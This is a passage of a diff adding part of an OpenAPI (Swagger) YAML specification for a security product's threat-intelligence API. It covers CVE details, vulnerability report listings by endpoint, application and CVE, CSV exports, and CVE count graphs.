+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+        "403":
+          description: Feature not enabled on this stack
+          examples:
+            application/json:
+              error: Feature not enabled on this stack
+          schema:
+            properties:
+              error:
+                type: string
+            required:
+              - error
+            type: object
+      tags:
+        - threat Intelligence
+    parameters: []
+  /data/threat_intelligence/Vulnerability/cve/update_visibility/:
+    parameters: []
+    post:
+      description: ""
+      operationId: data_threat_intelligence_Vulnerability_cve_update_visibility
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/CveUpdateVisibility'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      tags:
+        - threat Intelligence
+  /data/threat_intelligence/Vulnerability/cve/{id}/:
+    get:
+      description: |-
+        * Details of the CVE itself
+        * Score of the CVE
+        * Affected applications (vendor and product part of a CPE string)
+      operationId: data_threat_intelligence_Vulnerability_cve_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/CveDetails'
+        "403":
+          description: Feature not enabled on this stack
+          examples:
+            application/json:
+              error: Feature not enabled on this stack
+          schema:
+            properties:
+              error:
+                type: string
+            required:
+              - error
+            type: object
+      summary: Get details about a specific CVE.
+      tags:
+        - threat Intelligence
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/threat_intelligence/Vulnerability/reports/:
+    get:
+      description: ""
+      operationId: data_threat_intelligence_Vulnerability_reports_list
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: id
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: name
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: report_date
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: status
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: nb_cves
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: nb_vulnerabilities
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: nb_endpoints
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: nb_cves_low_level
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: nb_cves_medium_level
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: nb_cves_high_level
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: nb_cves_critical_level
+          required: false
+          type: number
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          name: nb_low_level
+          required: false
+          type: number
+        - in: query
+          name: nb_medium_level
+          required: false
+          type: number
+        - in: query
+          name: nb_high_level
+          required: false
+          type: number
+        - in: query
+          name: nb_critical_level
+          required: false
+          type: number
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/VulnerabilityReports'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      tags:
+        - threat Intelligence
+    parameters: []
+  /data/threat_intelligence/Vulnerability/reports/agent/:
+    get:
+      description: ""
+      operationId: data_threat_intelligence_Vulnerability_reports_agent_list
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/AgentVulnerabilityPerReportListing'
+        "403":
+          description: Feature not enabled on this stack
+          examples:
+            application/json:
+              error: Feature not enabled on this stack
+          schema:
+            properties:
+              error:
+                type: string
+            required:
+              - error
+            type: object
+      tags:
+        - threat Intelligence
+    parameters: []
+  /data/threat_intelligence/Vulnerability/reports/agent/export/:
+    get:
+      description: ""
+      operationId: data_threat_intelligence_Vulnerability_reports_agent_export
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+        "403":
+          description: Feature not enabled on this stack
+          examples:
+            application/json:
+              error: Feature not enabled on this stack
+          schema:
+            properties:
+              error:
+                type: string
+            required:
+              - error
+            type: object
+      tags:
+        - threat Intelligence
+    parameters: []
+  /data/threat_intelligence/Vulnerability/reports/agent/total_cve_count_graph/:
+    get:
+      description: Count CVE by severity for each day between `from_date` and `to_date`
+      operationId: data_threat_intelligence_Vulnerability_reports_agent_total_cve_count_graph
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - format: date
+          in: query
+          name: from_date
+          required: true
+          type: string
+        - format: date
+          in: query
+          name: to_date
+          required: true
+          type: string
+        - format: uuid
+          in: query
+          name: agent_id
+          required: true
+          type: string
+      responses:
+        "200":
+          description: ""
+          schema:
+            items:
+              $ref: '#/definitions/VulnerabilityReportCountOverTimeCveGraphResponse'
+            type: array
+      tags:
+        - threat Intelligence
+    parameters: []
+  /data/threat_intelligence/Vulnerability/reports/byApplication/:
+    get:
+      description: ""
+      operationId: data_threat_intelligence_Vulnerability_reports_byApplication_list
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ApplicationVulnerabilitiesAggregationListing'
+        "403":
+          description: Feature not enabled on this stack
+          examples:
+            application/json:
+              error: Feature not enabled on this stack
+          schema:
+            properties:
+              error:
+                type: string
+            required:
+              - error
+            type: object
+      tags:
+        - threat Intelligence
+    parameters: []
+  /data/threat_intelligence/Vulnerability/reports/byApplication/export/:
+    get:
+      description: ""
+      operationId: data_threat_intelligence_Vulnerability_reports_byApplication_export
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+        "403":
+          description: Feature not enabled on this stack
+          examples:
+            application/json:
+              error: Feature not enabled on this stack
+          schema:
+            properties:
+              error:
+                type: string
+            required:
+              - error
+            type: object
+      tags:
+        - threat Intelligence
+    parameters: []
+  /data/threat_intelligence/Vulnerability/reports/byCVE/:
+    get:
+      description: ""
+      operationId: data_threat_intelligence_Vulnerability_reports_byCVE_list
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: report__id
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: report__nb_endpoints
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: cve__cvss_metric_severity
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: cve__cvss_metric_base_score
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: cve__description
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: cve__last_modified
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: cve__published
+          required: false
+          type: string
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - description: Number of impacted endpoints
+          in: query
+          name: nb_endpoints
+          type: integer
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/CveVulnerabilitiesAggregationListing'
+        "403":
+          description: Feature not enabled on this stack
+          examples:
+            application/json:
+              error: Feature not enabled on this stack
+          schema:
+            properties:
+              error:
+                type: string
+            required:
+              - error
+            type: object
+      tags:
+        - threat Intelligence
+    parameters: []
+  /data/threat_intelligence/Vulnerability/reports/byCVE/export/:
+    get:
+      description: ""
+      operationId: data_threat_intelligence_Vulnerability_reports_byCVE_export
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: report__id
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: report__nb_endpoints
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: cve__cvss_metric_severity
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: cve__cvss_metric_base_score
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: cve__description
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: cve__last_modified
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: cve__published
+          required: false
+          type: string
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+        "403":
+          description: Feature not enabled on this stack
+          examples:
+            application/json:
+              error: Feature not enabled on this stack
+          schema:
+            properties:
+              error:
+                type: string
+            required:
+              - error
+            type: object
+      tags:
+        - threat Intelligence
+    parameters: []
+  /data/threat_intelligence/Vulnerability/reports/byCVEForEndpoint/:
+    get:
+      description: For a given endpoint, returns basic informations regarding its affected CVEs on the report
+      operationId: data_threat_intelligence_Vulnerability_reports_byCVEForEndpoint_list
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - format: uuid
+          in: query
+          name: endpoint_id
+          required: true
+          type: string
+        - format: uuid
+          in: query
+          name: report_id
+          required: true
+          type: string
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/CveVulnerabilitiesAggregationListing'
+        "403":
+          description: Feature not enabled on this stack
+          examples:
+            application/json:
+              error: Feature not enabled on this stack
+          schema:
+            properties:
+              error:
+                type: string
+            required:
+              - error
+            type: object
+      tags:
+        - threat Intelligence
+    parameters: []
+  /data/threat_intelligence/Vulnerability/reports/byCVEForEndpoint/export:
+    get:
+      description: For a given endpoint, returns basic informations regarding its affected CVEs on the report
+      operationId: data_threat_intelligence_Vulnerability_reports_byCVEForEndpoint_export
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+        "403":
+          description: Feature not enabled on this stack
+          examples:
+            application/json:
+              error: Feature not enabled on this stack
+          schema:
+            properties:
+              error:
+                type: string
+            required:
+              - error
+            type: object
+      tags:
+        - threat Intelligence
+    parameters: []
+  /data/threat_intelligence/Vulnerability/reports/byEndpoint/:
+    get:
+      description: ""
+      operationId: data_threat_intelligence_Vulnerability_reports_byEndpoint_list
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ReportAgentVulnerabilitiesAggregationListing'
+        "403":
+          description: Feature not enabled on this stack
+          examples:
+            application/json:
+              error: Feature not enabled on this stack
+          schema:
+            properties:
+              error:
+                type: string
+            required:
+              - error
+            type: object
+      tags:
+        - threat Intelligence
+    parameters: []
+  /data/threat_intelligence/Vulnerability/reports/byEndpoint/export/:
+    get:
+      description: ""
+      operationId: data_threat_intelligence_Vulnerability_reports_byEndpoint_export
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+        "403":
+          description: Feature not enabled on this stack
+          examples:
+            application/json:
+              error: Feature not enabled on this stack
+          schema:
+            properties:
+              error:
+                type: string
+            required:
+              - error
+            type: object
+      tags:
+        - threat Intelligence
+    parameters: []
+  /data/threat_intelligence/Vulnerability/reports/cve/:
+    get:
+      description: ""
+      operationId: data_threat_intelligence_Vulnerability_reports_cve_list
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: cve__id
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: cve__hidden
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: cve__source_identifier
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: cve__published
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: cve__last_modified
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: cve__cvss_metric_version
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: cve__cvss_metric_vector_string
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: cve__cvss_metric_base_score
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: cve__cvss_metric_exploitability_score
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: cve__cvss_metric_impact_score
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: cve__cvss_metric_severity
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: agent__id
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: agent__hostname
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: agent__ostype
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: agent__groups__id
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: report__id
+          required: false
+          type: string
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/VulnerabilityReportCvesListing'
+        "403":
+          description: Feature not enabled on this stack
+          examples:
+            application/json:
+              error: Feature not enabled on this stack
+          schema:
+            properties:
+              error:
+                type: string
+            required:
+              - error
+            type: object
+      tags:
+        - threat Intelligence
+    parameters: []
+  /data/threat_intelligence/Vulnerability/reports/cve/distribution/:
+    get:
+      description: Get the distribution of the report's CVE aggregated by ranges of score
+      operationId: data_threat_intelligence_Vulnerability_reports_cve_distribution
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: cve__id
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: cve__hidden
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: cve__source_identifier
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: cve__published
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: cve__last_modified
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: cve__cvss_metric_version
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: cve__cvss_metric_vector_string
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: cve__cvss_metric_base_score
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: cve__cvss_metric_exploitability_score
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: cve__cvss_metric_impact_score
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: cve__cvss_metric_severity
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: agent__id
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: agent__hostname
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: agent__ostype
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: agent__groups__id
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: report__id
+          required: false
+          type: string
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - format: uuid
+          in: query
+          name: report_id
+          required: false
+          type: string
+        - in: query
+          name: include_hidden_cves
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/VulnerabilityKpisDistribution'
+        "403":
+          description: Feature not enabled on this stack
+          examples:
+            application/json:
+              error: Feature not enabled on this stack
+          schema:
+            properties:
+              error:
+                type: string
+            required:
+              - error
+            type: object
+      tags:
+        - threat Intelligence
+    parameters: []
+  /data/threat_intelligence/Vulnerability/reports/cve/export/:
+    get:
+      description: ""
+      operationId: data_threat_intelligence_Vulnerability_reports_cve_export
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: cve__id
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: cve__hidden
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: cve__source_identifier
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: cve__published
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: cve__last_modified
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: cve__cvss_metric_version
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: cve__cvss_metric_vector_string
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: cve__cvss_metric_base_score
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: cve__cvss_metric_exploitability_score
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: cve__cvss_metric_impact_score
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: cve__cvss_metric_severity
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: agent__id
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: agent__hostname
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: agent__ostype
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: agent__groups__id
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: report__id
+          required: false
+          type: string
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+        "403":
+          description: Feature not enabled on this stack
+          examples:
+            application/json:
+              error: Feature not enabled on this stack
+          schema:
+            properties:
+              error:
+                type: string
+            required:
+              - error
+            type: object
+      tags:
+        - threat Intelligence
+    parameters: []
+  /data/threat_intelligence/Vulnerability/reports/export/:
+    get:
+      description: Endpoint for exporting the current queryset as a CSV file.
+      operationId: data_threat_intelligence_Vulnerability_reports_export
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: id
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: name
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: report_date
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: status
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: nb_cves
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: nb_vulnerabilities
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: nb_endpoints
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: nb_cves_low_level
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: nb_cves_medium_level
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: nb_cves_high_level
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: nb_cves_critical_level
+          required: false
+          type: number
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - threat Intelligence
+    parameters: []
+  /data/threat_intelligence/Vulnerability/reports/total_agents_count_graph/:
+    get:
+      description: Count Agents affected by CVE for each day between `from_date` and `to_date`
+      operationId: data_threat_intelligence_Vulnerability_reports_total_agents_count_graph
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - format: date
+          in: query
+          name: from_date
+          required: true
+          type: string
+        - format: date
+          in: query
+          name: to_date
+          required: true
+          type: string
+        - in: query
+          minLength: 1
+          name: cve_id
+          required: true
+          type: string
+      responses:
+        "200":
+          description: ""
+          schema:
+            items:
+              $ref: '#/definitions/VulnerabilityReportCountOverTimeAgentsGraphResponse'
+            type: array
+      tags:
+        - threat Intelligence
+    parameters: []
+  /data/threat_intelligence/Vulnerability/reports/total_cve_count_graph/:
+    get:
+      description: Count CVE by severity for each day between `from_date` and `to_date`
+      operationId: data_threat_intelligence_Vulnerability_reports_total_cve_count_graph
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - format: date
+          in: query
+          name: from_date
+          required: true
+          type: string
+        - format: date
+          in: query
+          name: to_date
+          required: true
+          type: string
+      responses:
+        "200":
+          description: ""
+          schema:
+            items:
+              $ref: '#/definitions/VulnerabilityReportCountOverTimeCveGraphResponse'
+            type: array
+      tags:
+        - threat Intelligence
+    parameters: []
+  /data/threat_intelligence/Vulnerability/reports/{id}/:
+    get:
+      description: ""
+      operationId: data_threat_intelligence_Vulnerability_reports_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/VulnerabilityReports'
+      tags:
+        - threat Intelligence
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+    patch:
+      description: ""
+      operationId: data_threat_intelligence_Vulnerability_reports_partial_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/UpdateVulnerabilityReport'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      tags:
+        - threat Intelligence
+    put:
+      description: ""
+      operationId: data_threat_intelligence_Vulnerability_reports_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/VulnerabilityReports'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/VulnerabilityReports'
+      tags:
+        - threat Intelligence
+  /data/threat_intelligence/Vulnerability/vulns_agents/:
+    get:
+      description: Always takes the latest scan to date
+      operationId: data_threat_intelligence_Vulnerability_vulns_agents
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: id
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: domainname
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: dnsdomainname
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: hostname
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: osmajor
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: osminor
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: osproducttype
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: firstseen
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: lastseen
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: version
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: pinned_version
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: rollback_version
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: bitness
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: domain
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: installdate
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: ipaddress
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: external_ipaddress
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: osbuild
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: osid
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: osrevision
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: osversion
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: producttype
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: servicepack
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: total_memory
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: cpu_count
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: cpu_frequency
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: avg_cpu
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: avg_memory
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: avg_system_cpu
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: avg_system_memory
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: starttime
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: machine_boottime
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: machine_serial
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: subnet__gateway_ipaddress
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: subnet__gateway_macaddress
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: subnet__name
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: isolation_state
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: antivirus_name
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: antivirus_version
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: antivirus_rules_version
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: antivirus_last_update_date
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: antivirus_rules_last_update_date
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: additional_info
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: additional_info__additional_info1
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: additional_info__additional_info2
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: additional_info__additional_info3
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: additional_info__additional_info4
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: description
+          required: false
+          type: string
+        - description: ""
+          in: query
